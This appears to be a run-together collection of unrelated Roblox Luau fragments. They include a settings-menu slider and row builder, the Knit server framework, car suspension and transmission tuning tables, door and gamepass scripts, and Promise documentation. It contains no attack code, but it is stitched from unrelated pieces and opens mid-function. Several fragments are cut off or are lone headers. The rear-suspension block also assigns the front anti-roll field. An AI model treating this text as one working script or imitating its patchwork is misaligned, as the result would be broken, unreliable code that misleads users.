mouseInputEndedCon:Disconnect() mouseInputMovedCon:Disconnect() end) end else lastInputDirection = 0 end setCurrentStep(newStepPos) end local function mouseUpFunc(inputObject) if not interactable then return end if not isActivateEvent(inputObject) then return end lastInputDirection = 0 end local function touchClickFunc(inputObject, newStepPos, repeatAction) mouseDownFunc(inputObject, newStepPos, repeatAction) end --------------------- PUBLIC FACING FUNCTIONS ----------------------- this.ValueChanged = valueChangedEvent.Event function this:SetValue(newValue) setCurrentStep(newValue) end function this:GetValue() return currentStep end function this:SetInteractable(value) lastInputDirection = 0 interactable = value this.SliderFrame.Selectable = value if not interactable then hideSelection() else showSelection() end end function this:SetZIndex(newZIndex) leftButton.ZIndex = newZIndex rightButton.ZIndex = newZIndex leftButtonImage.ZIndex = newZIndex rightButtonImage.ZIndex = newZIndex for i = 1, #this.Steps do this.Steps[i].ZIndex = newZIndex end end function this:SetMinStep(newMinStep) if newMinStep >= 0 and newMinStep <= steps then minStep = newMinStep end if currentStep <= minStep then currentStep = minStep leftButton.Visible = false end if currentStep >= steps then currentStep = steps rightButton.Visible = false end end --------------------- SETUP ----------------------- leftButton.InputBegan:Connect(function(inputObject) mouseDownFunc(inputObject, currentStep - 1, true) end) leftButton.InputEnded:Connect(function(inputObject) mouseUpFunc(inputObject) end) rightButton.InputBegan:Connect(function(inputObject) mouseDownFunc(inputObject, currentStep + 1, true) end) rightButton.InputEnded:Connect(function(inputObject) mouseUpFunc(inputObject) end) local function onVREnabled(prop) if prop ~= "VREnabled" then return end if VRService.VREnabled then leftButton.Selectable = interactable rightButton.Selectable = interactable this.SliderFrame.Selectable = interactable for i = 1, steps do this.Steps[i].Selectable = interactable this.Steps[i].Active = interactable end else leftButton.Selectable = false rightButton.Selectable = false this.SliderFrame.Selectable = interactable for i = 1, steps do this.Steps[i].Selectable = false this.Steps[i].Active = false end end end VRService.Changed:Connect(onVREnabled) onVREnabled("VREnabled") for i = 1, steps do this.Steps[i].InputBegan:Connect(function(inputObject) mouseDownFunc(inputObject, i) end) this.Steps[i].InputEnded:Connect(function(inputObject) mouseUpFunc(inputObject) end) end this.SliderFrame.InputBegan:Connect(function(inputObject) if VRService.VREnabled then local selected = GuiService.SelectedCoreObject if not selected or not selected:IsDescendantOf(this.SliderFrame.Parent) then return end end mouseDownFunc(inputObject, currentStep) end) this.SliderFrame.InputEnded:Connect(function(inputObject) if VRService.VREnabled then local selected = GuiService.SelectedCoreObject if not selected or not selected:IsDescendantOf(this.SliderFrame.Parent) then return end end mouseUpFunc(inputObject) end) local stepSliderFunc = function() if timeAtLastInput == nil then return end local currentTime = tick() local timeSinceLastInput = currentTime - timeAtLastInput if timeSinceLastInput >= CONTROLLER_SCROLL_DELTA then setCurrentStep(currentStep + lastInputDirection) end end local isInTree = true local navigateLeft = -1 --these are just for differentiation, the actual value isn't important as long as they coerce to boolean true (all numbers do in Lua) local navigateRight = 1 local navigationKeyCodes = { [Enum.KeyCode.Thumbstick1] = true, --thumbstick can be either direction [Enum.KeyCode.DPadLeft] = navigateLeft, [Enum.KeyCode.DPadRight] = navigateRight, [Enum.KeyCode.Left] = navigateLeft, [Enum.KeyCode.Right] = navigateRight, [Enum.KeyCode.A] = navigateLeft, [Enum.KeyCode.D] = navigateRight, [Enum.KeyCode.ButtonA] = true --buttonA can be either direction } UserInputService.InputBegan:Connect(function(inputObject) if not interactable then return end if not isInTree then return end if inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 and inputObject.UserInputType ~= Enum.UserInputType.Keyboard then return end local selected = GuiService.SelectedCoreObject if not selected or not selected:IsDescendantOf(this.SliderFrame.Parent) then return end if navigationKeyCodes[inputObject.KeyCode] == navigateLeft then lastInputDirection = -1 setCurrentStep(currentStep - 1) elseif navigationKeyCodes[inputObject.KeyCode] == navigateRight then lastInputDirection = 1 setCurrentStep(currentStep + 1) end end) UserInputService.InputEnded:Connect(function(inputObject) if not interactable then return end if inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 and inputObject.UserInputType ~= Enum.UserInputType.Keyboard then return end local selected = GuiService.SelectedCoreObject if not selected or not selected:IsDescendantOf(this.SliderFrame.Parent) then return end if navigationKeyCodes[inputObject.KeyCode] then --detect any keycode considered a navigation key lastInputDirection = 0 end end) UserInputService.InputChanged:Connect(function(inputObject) if not interactable then lastInputDirection = 0 return end if not isInTree then lastInputDirection = 0 return end if inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 then return end local selected = GuiService.SelectedCoreObject if not selected or not selected:IsDescendantOf(this.SliderFrame.Parent) then return end if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end if inputObject.Position.X > CONTROLLER_THUMBSTICK_DEADZONE and inputObject.Delta.X > 0 and lastInputDirection ~= 1 then lastInputDirection = 1 setCurrentStep(currentStep + 1) elseif inputObject.Position.X < -CONTROLLER_THUMBSTICK_DEADZONE and inputObject.Delta.X < 0 and lastInputDirection ~= -1 then lastInputDirection = -1 setCurrentStep(currentStep - 1) elseif math.abs(inputObject.Position.X) < CONTROLLER_THUMBSTICK_DEADZONE then lastInputDirection = 0 end end) local isBound = false GuiService.Changed:Connect(function(prop) if prop ~= "SelectedCoreObject" then return end local selected = GuiService.SelectedCoreObject local isThisSelected = selected and selected:IsDescendantOf(this.SliderFrame.Parent) if isThisSelected then modifySelection(0) if not isBound then isBound = true timeAtLastInput = tick() RunService:BindToRenderStep(renderStepBindName, Enum.RenderPriority.Input.Value + 1, stepSliderFunc) end else modifySelection(0.36) if isBound then isBound = false RunService:UnbindFromRenderStep(renderStepBindName) end end end) this.SliderFrame.AncestryChanged:Connect(function(child, parent) isInTree = parent end) setCurrentStep(currentStep) return this end local ROW_HEIGHT = 50 if isTenFootInterface() then ROW_HEIGHT = 90 end local nextPosTable = {} local function AddNewRow(pageToAddTo, rowDisplayName, selectionType, rowValues, rowDefault, extraSpacing) local nextRowPositionY = 0 local isARealRow = selectionType ~= 'TextBox' -- Textboxes are constructed in this function - they don't have an associated class. if nextPosTable[pageToAddTo] then nextRowPositionY = nextPosTable[pageToAddTo] end local RowFrame = nil RowFrame = Util.Create'ImageButton' { Name = rowDisplayName .. "Frame", BackgroundTransparency = 1, BorderSizePixel = 0, Image = "rbxasset://textures/ui/VR/rectBackgroundWhite.png", ScaleType = Enum.ScaleType.Slice, SliceCenter = Rect.new(2, 2, 18, 18), ImageTransparency = 1, Active = false, AutoButtonColor = false, Size = UDim2.new(1,0,0,ROW_HEIGHT), Position = UDim2.new(0,0,0,nextRowPositionY), ZIndex = 2, Selectable = false, SelectionImageObject = noSelectionObject, Parent = pageToAddTo.Page }; RowFrame.ImageColor3 = RowFrame.BackgroundColor3 if RowFrame and extraSpacing then RowFrame.Position = UDim2.new(RowFrame.Position.X.Scale,RowFrame.Position.X.Offset, RowFrame.Position.Y.Scale,RowFrame.Position.Y.Offset + extraSpacing) end local RowLabel = nil RowLabel = Util.Create'TextLabel' { Name = rowDisplayName .. "Label", Text = rowDisplayName, Font = Enum.Font.SourceSansBold, TextSize = 16, TextColor3 = Color3.fromRGB(255,255,255), TextXAlignment = Enum.TextXAlignment.Left, BackgroundTransparency = 1, Size = UDim2.new(0,200,1,0), Position = UDim2.new(0,10,0,0), ZIndex = 2, Parent = RowFrame }; local RowLabelTextSizeConstraint = Instance.new("UITextSizeConstraint") if FFlagUseNotificationsLocalization then RowLabel.Size = UDim2.new(0.35,0,1,0) RowLabel.TextScaled = true RowLabel.TextWrapped = true RowLabelTextSizeConstraint.Parent = RowLabel RowLabelTextSizeConstraint.MaxTextSize = 16 end if not isARealRow then RowLabel.Text = '' end local function onResized(viewportSize, portrait) if portrait then RowLabel.TextSize = 16 else RowLabel.TextSize = isTenFootInterface() and 36 or 24 end RowLabelTextSizeConstraint.MaxTextSize = RowLabel.TextSize end onResized(getViewportSize(), isPortrait()) addOnResizedCallback(RowFrame, onResized) local ValueChangerSelection = nil local ValueChangerInstance = nil if selectionType == "Slider" then ValueChangerInstance = CreateNewSlider(rowValues, rowDefault) ValueChangerInstance.SliderFrame.Parent = RowFrame ValueChangerSelection = ValueChangerInstance.SliderFrame elseif selectionType == "Selector" then ValueChangerInstance = CreateSelector(rowValues, rowDefault) ValueChangerInstance.SelectorFrame.Parent = RowFrame ValueChangerSelection = ValueChangerInstance.SelectorFrame elseif selectionType == "DropDown" then ValueChangerInstance = CreateDropDown(rowValues, rowDefault, pageToAddTo.HubRef) ValueChangerInstance.DropDownFrame.Parent = RowFrame ValueChangerSelection = ValueChangerInstance.DropDownFrame elseif selectionType == "TextBox" then local isMouseOverRow = false local forceReturnSelectionOnFocusLost = false local SelectionOverrideObject = Util.Create'ImageLabel' { Image = "", BackgroundTransparency = 1, }; ValueChangerInstance = {} ValueChangerInstance.HubRef = nil local box = Util.Create'TextBox' { AnchorPoint = Vector2.new(1, 0.5), Size = UDim2.new(0.6,0,1,0), Position = UDim2.new(1,0,0.5,0), Text = rowDisplayName, TextColor3 = Color3.fromRGB(49, 49, 49), BackgroundTransparency = 0.5, BorderSizePixel = 0, TextYAlignment = Enum.TextYAlignment.Top, TextXAlignment = Enum.TextXAlignment.Left, TextWrapped = true, Font = Enum.Font.SourceSans, TextSize = 24, ZIndex = 2, SelectionImageObject = SelectionOverrideObject, ClearTextOnFocus = false, Parent = RowFrame }; ValueChangerSelection = box box.Focused:Connect(function() if usesSelectedObject() then GuiService.SelectedCoreObject = box end if box.Text == rowDisplayName then box.Text = "" end end) box.FocusLost:Connect(function(enterPressed, inputObject) forceReturnSelectionOnFocusLost = false end) if extraSpacing then box.Position = UDim2.new(box.Position.X.Scale,box.Position.X.Offset, box.Position.Y.Scale,box.Position.Y.Offset + extraSpacing) end ValueChangerSelection.SelectionGained:Connect(function() if usesSelectedObject() then box.BackgroundTransparency = 0.1 if ValueChangerInstance.HubRef then ValueChangerInstance.HubRef:ScrollToFrame(ValueChangerSelection) end end end) ValueChangerSelection.SelectionLost:Connect(function() if usesSelectedObject() then box.BackgroundTransparency = 0.5 end end) local setRowSelection = function() local fullscreenDropDown = CoreGui.RobloxGui:FindFirstChild("DropDownFullscreenFrame") if fullscreenDropDown and fullscreenDropDown.Visible then return end local valueFrame = ValueChangerSelection if valueFrame and valueFrame.Visible and valueFrame.ZIndex > 1 and usesSelectedObject() and pageToAddTo.Active then GuiService.SelectedCoreObject = valueFrame isMouseOverRow = true end end local function processInput(input) if input.UserInputState == Enum.UserInputState.Begin then if input.KeyCode == Enum.KeyCode.Return then if GuiService.SelectedCoreObject == ValueChangerSelection then forceReturnSelectionOnFocusLost = true box:CaptureFocus() end end end end box.MouseEnter:Connect(setRowSelection) UserInputService.InputBegan:Connect(processInput) elseif selectionType == "TextEntry" then local isMouseOverRow = false local forceReturnSelectionOnFocusLost = false local SelectionOverrideObject = Util.Create'ImageLabel' { Image = "", BackgroundTransparency = 1, }; ValueChangerInstance = {} ValueChangerInstance.HubRef = nil local box = Util.Create'TextBox' { AnchorPoint = Vector2.new(1, 0.5), Size = UDim2.new(0.4,-10,0,40), Position = UDim2.new(1,0,0.5,0), Text = rowDisplayName, TextColor3 = Color3.fromRGB(178, 178, 178), BackgroundTransparency = 1.0, BorderSizePixel = 0, TextYAlignment = Enum.TextYAlignment.Center, TextXAlignment = Enum.TextXAlignment.Center, TextWrapped = false, Font = Enum.Font.SourceSans, TextSize = 24, ZIndex = 2, SelectionImageObject = SelectionOverrideObject, ClearTextOnFocus = false, Parent = RowFrame }; ValueChangerSelection = box box.Focused:Connect(function() if usesSelectedObject() then GuiService.SelectedCoreObject = box end if box.Text == rowDisplayName then box.Text = "" end end) box.FocusLost:Connect(function(enterPressed, inputObject) forceReturnSelectionOnFocusLost = false end) if extraSpacing then box.Position = UDim2.new(box.Position.X.Scale,box.Position.X.Offset, box.Position.Y.Scale,box.Position.Y.Offset + extraSpacing) end ValueChangerSelection.SelectionGained:Connect(function() if usesSelectedObject() then box.BackgroundTransparency = 0.8 if ValueChangerInstance.HubRef then ValueChangerInstance.HubRef:ScrollToFrame(ValueChangerSelection) end end end) ValueChangerSelection.SelectionLost:Connect(function() if usesSelectedObject() then box.BackgroundTransparency = 1.0 end end) local setRowSelection = function() local fullscreenDropDown = CoreGui.RobloxGui:FindFirstChild("DropDownFullscreenFrame") if fullscreenDropDown and fullscreenDropDown.Visible then return end local valueFrame = ValueChangerSelection if valueFrame and valueFrame.Visible and valueFrame.ZIndex > 1 and usesSelectedObject() and pageToAddTo.Active then GuiService.SelectedCoreObject = valueFrame isMouseOverRow = true end end local function processInput(input) if input.UserInputState == Enum.UserInputState.Begin then if input.KeyCode == Enum.KeyCode.Return then if GuiService.SelectedCoreObject == ValueChangerSelection then forceReturnSelectionOnFocusLost = true box:CaptureFocus() end end end end RowFrame.MouseEnter:Connect(setRowSelection) function ValueChangerInstance:SetZIndex(newZIndex) box.ZIndex = newZIndex end function ValueChangerInstance:SetInteractable(interactable) box.Selectable = interactable if not interactable then box.TextColor3 = Color3.fromRGB(49,49,49) box.ZIndex = 1 else box.TextColor3 = Color3.fromRGB(178,178,178) box.ZIndex = 2 end end function ValueChangerInstance:SetValue(value) -- should this do more? box.Text = value end local valueChangedEvent = Instance.new("BindableEvent") valueChangedEvent.Name = "ValueChanged" box.FocusLost:Connect(function() valueChangedEvent:Fire(box.Text) end) ValueChangerInstance.ValueChanged = valueChangedEvent.Event UserInputService.InputBegan:Connect(processInput) end ValueChangerInstance.Name = rowDisplayName .. "ValueChanger" nextRowPositionY = nextRowPositionY + ROW_HEIGHT if extraSpacing then nextRowPositionY = nextRowPositionY + extraSpacing end nextPosTable[pageToAddTo] = nextRowPositionY if isARealRow then local setRowSelection = function() local fullscreenDropDown = CoreGui.RobloxGui:FindFirstChild("DropDownFullscreenFrame") if fullscreenDropDown and fullscreenDropDown.Visible then return end local valueFrame = ValueChangerInstance.SliderFrame if not valueFrame then valueFrame = ValueChangerInstance.SliderFrame end if not valueFrame then valueFrame = ValueChangerInstance.DropDownFrame end if not valueFrame then valueFrame = ValueChangerInstance.SelectorFrame end if valueFrame and valueFrame.Visible and valueFrame.ZIndex > 1 and usesSelectedObject() and pageToAddTo.Active then GuiService.SelectedCoreObject = valueFrame end end RowFrame.MouseEnter:Connect(setRowSelection) --Could this be cleaned up even more? local function onVREnabled(prop) if prop == "VREnabled" then if VRService.VREnabled then RowFrame.Selectable = true RowFrame.Active = true ValueChangerSelection.Active = true GuiService.Changed:Connect(function(prop) if prop == "SelectedCoreObject" then local selected = GuiService.SelectedCoreObject if selected and (selected == RowFrame or selected:IsDescendantOf(RowFrame)) then RowFrame.ImageTransparency = 0.5 RowFrame.BackgroundTransparency = 1 else RowFrame.ImageTransparency = 1 RowFrame.BackgroundTransparency = 1 end end end) else RowFrame.Selectable = false RowFrame.Active = false end end end VRService.Changed:Connect(onVREnabled) onVREnabled("VREnabled") ValueChangerSelection.SelectionGained:Connect(function() if usesSelectedObject() then if VRService.VREnabled then RowFrame.ImageTransparency = 0.5 RowFrame.BackgroundTransparency = 1 else RowFrame.ImageTransparency = 1 RowFrame.BackgroundTransparency = 0.5 end if ValueChangerInstance.HubRef then ValueChangerInstance.HubRef:ScrollToFrame(RowFrame) end end end) ValueChangerSelection.SelectionLost:Connect(function() if usesSelectedObject() then RowFrame.ImageTransparency = 1 RowFrame.BackgroundTransparency = 1 end end) end pageToAddTo:AddRow(RowFrame, RowLabel, ValueChangerInstance, extraSpacing, false) ValueChangerInstance.Selection = ValueChangerSelection return RowFrame, RowLabel, ValueChangerInstance end local function AddNewRowObject(pageToAddTo, rowDisplayName, rowObject, extraSpacing) local nextRowPositionY = 0 if nextPosTable[pageToAddTo] then nextRowPositionY = nextPosTable[pageToAddTo] end local RowFrame = Util.Create'ImageButton' { Name = rowDisplayName .. "Frame", BackgroundTransparency = 1, BorderSizePixel = 0, Image = "rbxasset://textures/ui/VR/rectBackgroundWhite.png", ScaleType = Enum.ScaleType.Slice, SliceCenter = Rect.new(10,10,10,10), ImageTransparency = 1, Active = false, AutoButtonColor = false, Size = UDim2.new(1,0,0,ROW_HEIGHT), Position = UDim2.new(0,0,0,nextRowPositionY), ZIndex = 2, Selectable = false, SelectionImageObject = noSelectionObject, Parent = pageToAddTo.Page }; RowFrame.ImageColor3 = RowFrame.BackgroundColor3 RowFrame.SelectionGained:Connect(function() RowFrame.BackgroundTransparency = 0.5 end) RowFrame.SelectionLost:Connect(function() RowFrame.BackgroundTransparency = 1 end) local RowLabel = Util.Create'TextLabel' { Name = rowDisplayName .. "Label", Text = rowDisplayName, Font = Enum.Font.SourceSansBold, TextSize = 16, TextColor3 = Color3.fromRGB(255,255,255), TextXAlignment = Enum.TextXAlignment.Left, BackgroundTransparency = 1, Size = UDim2.new(0,200,1,0), Position = UDim2.new(0,10,0,0), ZIndex = 2, Parent = RowFrame }; local function onResized(viewportSize, portrait) if portrait then RowLabel.TextSize = 16 else RowLabel.TextSize = isTenFootInterface() and 36 or 24 end end addOnResizedCallback(RowFrame, onResized) if extraSpacing then RowFrame.Position = UDim2.new(RowFrame.Position.X.Scale,RowFrame.Position.X.Offset, RowFrame.Position.Y.Scale,RowFrame.Position.Y.Offset + extraSpacing) end nextRowPositionY = nextRowPositionY + ROW_HEIGHT if extraSpacing then nextRowPositionY = nextRowPositionY + extraSpacing end nextPosTable[pageToAddTo] = nextRowPositionY local setRowSelection = function() if RowFrame.Visible then GuiService.SelectedCoreObject = RowFrame end end RowFrame.MouseEnter:Connect(setRowSelection) rowObject.SelectionImageObject = noSelectionObject rowObject.SelectionGained:Connect(function() if VRService.VREnabled then RowFrame.ImageTransparency = 0.5 RowFrame.BackgroundTransparency = 1 else RowFrame.ImageTransparency = 1 RowFrame.BackgroundTransparency = 0.5 end end) rowObject.SelectionLost:Connect(function() RowFrame.ImageTransparency = 1 RowFrame.BackgroundTransparency = 1 end) rowObject.Parent = RowFrame pageToAddTo:AddRow(RowFrame, RowLabel, rowObject, extraSpacing, true) return RowFrame end
--------RIGHT DOOR 5--------
game.Workspace.doorright.l73.BrickColor = BrickColor.new(135) game.Workspace.doorright.l72.BrickColor = BrickColor.new(135) game.Workspace.doorright.l71.BrickColor = BrickColor.new(135) game.Workspace.doorright.l63.BrickColor = BrickColor.new(135) game.Workspace.doorright.l62.BrickColor = BrickColor.new(135) game.Workspace.doorright.l61.BrickColor = BrickColor.new(135) game.Workspace.doorright.l53.BrickColor = BrickColor.new(135) game.Workspace.doorright.l52.BrickColor = BrickColor.new(135) game.Workspace.doorright.l51.BrickColor = BrickColor.new(135) game.Workspace.doorright.l42.BrickColor = BrickColor.new(135) game.Workspace.doorright.l41.BrickColor = BrickColor.new(135) game.Workspace.doorright.l31.BrickColor = BrickColor.new(135) game.Workspace.doorright.l11.BrickColor = BrickColor.new(102) game.Workspace.doorright.l12.BrickColor = BrickColor.new(102) game.Workspace.doorright.l13.BrickColor = BrickColor.new(102) game.Workspace.doorright.l43.BrickColor = BrickColor.new(102) game.Workspace.doorright.l21.BrickColor = BrickColor.new(102) game.Workspace.doorright.l22.BrickColor = BrickColor.new(102) game.Workspace.doorright.l23.BrickColor = BrickColor.new(102) game.Workspace.doorright.l32.BrickColor = BrickColor.new(102) game.Workspace.doorright.l33.BrickColor = BrickColor.new(102)
--[[ Knit.CreateService(service): Service Knit.AddServices(folder): Service[] Knit.AddServicesDeep(folder): Service[] Knit.Start(): Promise<void> Knit.OnStart(): Promise<void> --]]
type ServiceDef = { Name: string, Client: {[any]: any}?, [any]: any, } type Service = { Name: string, Client: ServiceClient, _knit_is_service: boolean, _knit_rf: {}, _knit_re: {}, _knit_rp: {}, _knit_rep_folder: Instance, [any]: any, } type ServiceClient = { Server: Service, [any]: any, } local KnitServer = {} KnitServer.Version = script.Parent.Version.Value KnitServer.Services = {} :: {[string]: Service} KnitServer.Util = script.Parent.Util local knitRepServiceFolder = Instance.new("Folder") knitRepServiceFolder.Name = "Services" local Promise = require(KnitServer.Util.Promise) local Signal = require(KnitServer.Util.Signal) local Loader = require(KnitServer.Util.Loader) local Ser = require(KnitServer.Util.Ser) local RemoteSignal = require(KnitServer.Util.Remote.RemoteSignal) local RemoteProperty = require(KnitServer.Util.Remote.RemoteProperty) local TableUtil = require(KnitServer.Util.TableUtil) local started = false local startedComplete = false local onStartedComplete = Instance.new("BindableEvent") local function CreateRepFolder(serviceName: string): Instance local folder = Instance.new("Folder") folder.Name = serviceName return folder end local function GetFolderOrCreate(parent: Instance, name: string): Instance local f = parent:FindFirstChild(name) if not f then f = Instance.new("Folder") f.Name = name f.Parent = parent end return f end local function AddToRepFolder(service: Service, remoteObj: Instance, folderOverride: string?) if folderOverride then remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, folderOverride) elseif remoteObj:IsA("RemoteFunction") then remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RF") elseif remoteObj:IsA("RemoteEvent") then remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RE") elseif remoteObj:IsA("ValueBase") then remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RP") else error("Invalid rep object: " .. remoteObj.ClassName) end if not service._knit_rep_folder.Parent then service._knit_rep_folder.Parent = knitRepServiceFolder end end local function DoesServiceExist(serviceName: string): boolean local service: Service? = KnitServer.Services[serviceName] return service ~= nil end function KnitServer.IsService(object: any): boolean return type(object) == "table" and object._knit_is_service == true end function KnitServer.CreateService(serviceDef: ServiceDef): Service assert(type(serviceDef) == "table", "Service must be a table; got " .. type(serviceDef)) assert(type(serviceDef.Name) == "string", "Service.Name must be a string; got " .. type(serviceDef.Name)) assert(#serviceDef.Name > 0, "Service.Name must be a non-empty string") assert(not DoesServiceExist(serviceDef.Name), "Service \"" .. serviceDef.Name .. "\" already exists") local service: Service = TableUtil.Assign(serviceDef, { _knit_is_service = true; _knit_rf = {}; _knit_re = {}; _knit_rp = {}; _knit_rep_folder = CreateRepFolder(serviceDef.Name); }) if type(service.Client) ~= "table" then service.Client = {Server = service} else if service.Client.Server ~= service then service.Client.Server = service end end KnitServer.Services[service.Name] = service return service end function KnitServer.AddServices(folder: Instance): {any} return Loader.LoadChildren(folder) end function KnitServer.AddServicesDeep(folder: Instance): {any} return Loader.LoadDescendants(folder) end function KnitServer.GetService(serviceName: string): Service assert(type(serviceName) == "string", "ServiceName must be a string; got " .. type(serviceName)) return assert(KnitServer.Services[serviceName], "Could not find service \"" .. serviceName .. "\"") :: Service end function KnitServer.BindRemoteEvent(service: Service, eventName: string, remoteEvent) assert(service._knit_re[eventName] == nil, "RemoteEvent \"" .. eventName .. "\" already exists") local re = remoteEvent._remote re.Name = eventName service._knit_re[eventName] = re AddToRepFolder(service, re) end function KnitServer.BindRemoteFunction(service: Service, funcName: string, func: (ServiceClient, ...any) -> ...any) assert(service._knit_rf[funcName] == nil, "RemoteFunction \"" .. funcName .. "\" already exists") local rf = Instance.new("RemoteFunction") rf.Name = funcName service._knit_rf[funcName] = rf AddToRepFolder(service, rf) rf.OnServerInvoke = function(...) return Ser.SerializeArgsAndUnpack(func(service.Client, Ser.DeserializeArgsAndUnpack(...))) end end function KnitServer.BindRemoteProperty(service: Service, propName: string, prop) assert(service._knit_rp[propName] == nil, "RemoteProperty \"" .. propName .. "\" already exists") prop._object.Name = propName service._knit_rp[propName] = prop AddToRepFolder(service, prop._object, "RP") end function KnitServer.Start() if started then return Promise.Reject("Knit already started") end started = true local services = KnitServer.Services return Promise.new(function(resolve) -- Bind remotes: for _,service in pairs(services) do for k,v in pairs(service.Client) do if type(v) == "function" then KnitServer.BindRemoteFunction(service, k, v) elseif RemoteSignal.Is(v) then KnitServer.BindRemoteEvent(service, k, v) elseif RemoteProperty.Is(v) then KnitServer.BindRemoteProperty(service, k, v) elseif Signal.Is(v) then warn("Found Signal instead of RemoteSignal (Knit.Util.RemoteSignal). Please change to RemoteSignal. [" .. service.Name .. ".Client." .. k .. "]") end end end -- Init: local promisesInitServices = {} for _,service in pairs(services) do if type(service.KnitInit) == "function" then table.insert(promisesInitServices, Promise.new(function(r) service:KnitInit() r() end)) end end resolve(Promise.All(promisesInitServices)) end):Then(function() -- Start: for _,service in pairs(services) do if type(service.KnitStart) == "function" then task.spawn(service.KnitStart, service) end end startedComplete = true onStartedComplete:Fire() task.defer(function() onStartedComplete:Destroy() end) -- Expose service remotes to everyone: knitRepServiceFolder.Parent = script.Parent end) end function KnitServer.OnStart() if startedComplete then return Promise.Resolve() else return Promise.FromEvent(onStartedComplete.Event) end end return KnitServer
-- Set up the event handler for the button
btn.MouseButton1Click:Connect(toggleWindows)
--[[Susupension]]
Tune.SusEnabled = false -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .3 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .3 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = false -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
----------------- --| Variables |-- -----------------
local GamePassService = game:GetService('MarketplaceService') local PlayersService = game:GetService('Players') local VipDoor = script.Parent local GamePassIdObject = WaitForChild(script, 'GamePassId') local JustTouched = {}
-- Confetti Defaults.
local shapes = {script:WaitForChild("CircularConfetti"), script:WaitForChild("SquareConfetti")}; local colors = {Color3.fromRGB(168,100,253), Color3.fromRGB(41,205,255), Color3.fromRGB(120,255,68), Color3.fromRGB(255,113,141), Color3.fromRGB(253,255,106)};
--[[Transmission]]
Tune.TransModes = {"Auto","Semi","Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 13.5 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 1.5 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 1.89 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 0.76 , --[[ 3 ]] 0.63 , --[[ 4 ]] 0.49 , --[[ 5 ]] 0.33 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- Below is the script to make the moving platform work. It won't work if something is wrong with the destination blocks.
local mainFolder = script.Parent local platform = mainFolder.Platform local alignPosition = platform.AlignPosition
-- Bind Events
CaptureFlag.Event:connect(OnCaptureFlag) ReturnFlag.Event:connect(OnReturnFlag) return GameManager
-- Loop through all players when model added
for _, player in pairs(game.Players:GetPlayers()) do addMyLocalScript(player) end
--[=[ Yields the current thread until the given Promise completes. Returns the the values that the promise resolved with. ```lua local worked = pcall(function() print("got", getTheValue():expect()) end) if not worked then warn("it failed") end ``` This is essentially sugar for: ```lua select(2, assert(promise:await())) ``` **Errors** if the Promise rejects or gets cancelled. @error any -- Errors with the rejection value if this Promise rejects or gets cancelled. @yields @return ...any -- The values the Promise resolved with. ]=]
function Promise.prototype:expect() return expectHelper(self:awaitStatus()) end
--[[ Reference extension ]]
